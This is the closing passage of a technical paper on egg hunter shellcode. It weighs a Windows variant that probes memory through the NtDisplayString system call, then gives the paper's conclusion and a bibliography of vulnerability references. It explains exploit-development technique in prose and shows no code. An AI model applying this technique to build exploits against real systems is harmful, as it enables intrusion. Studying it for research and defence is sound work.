As was stated earlier, this implementation is almost exactly the same as the most optimized version of the Linux egg hunter. Some of the registers are different, but aside from that, the implementations are nearly identical. In this implementation the `edx` register is used as the register that holds the pointer that is to be validated throughout the course of the search operation. One of the bigger differences here is that, unlike the Linux implementation, the `edx` register must be preserved across system calls as it is not preserved by the system call interface. The only other major difference is that the return value from the system call is compared against `0x5` which is the low byte of `STATUS_ACCESS_VIOLATION`, or `0xc0000005`.

Pros

This payload is the smallest, fastest, and most robust of all of the Windows implementations provided thus far, and therefore should be the version of choice when looking to use an egg hunter for Windows. Although the version provided will not work properly on Windows 9X, the concepts can surely be applied to a system call on Windows 9X without much of a drastic size increase.

Cons

The only real negative to this payload is that it relies on the system call number for `NtDisplayString` not changing. In all of the current versions of Windows it has remained as `0x43`, but it is entirely possible that the number may change in future releases of Windows, and thus this payload would require updating.

This payload also suffers from the direction flag issue due to its use of the `scasd` instruction, but it should not be considered a major point of concern.

Chapter 4

Conclusion

It is the author's hope that the reader now has a refreshed or more detailed understanding regarding the reasons for using egg hunting payloads and the technical information behind some of the specific implementations that can be used to do so. In the event that there remains some confusion on some subject, or perhaps an error or two has been cited, please don't hesitate to contact the author with input, feedback, and questions on the subject matter. Also, if the reader should notice any optimizations for the smallest techniques on each of the platforms, contact the author and let him know[1].

[1] The author really wants to get rid of that annoying 16-bit bitwise OR.

Bibliography

[1] Microsoft, *Platform SDK*. http://www.microsoft.com/msdownload/platformsdk/sdkupdate; accessed 09/05/2004.

[2] NTInternals.net. *The Undocumented Functions*. http://undocumented.ntinternals.net/; accessed Apr 03, 2004.

[3] OSVDB, *Microsoft IE Object Type Property Overflow*. http://www.osvdb.org/displayvuln.php?osvdb_id=2967; accessed 09/04/2004.

[4] OSVDB, *Subversion Date Parsing Overflow*. http://www.osvdb.org/displayvuln.php?osvdb_id=6301; accessed 09/04/2004.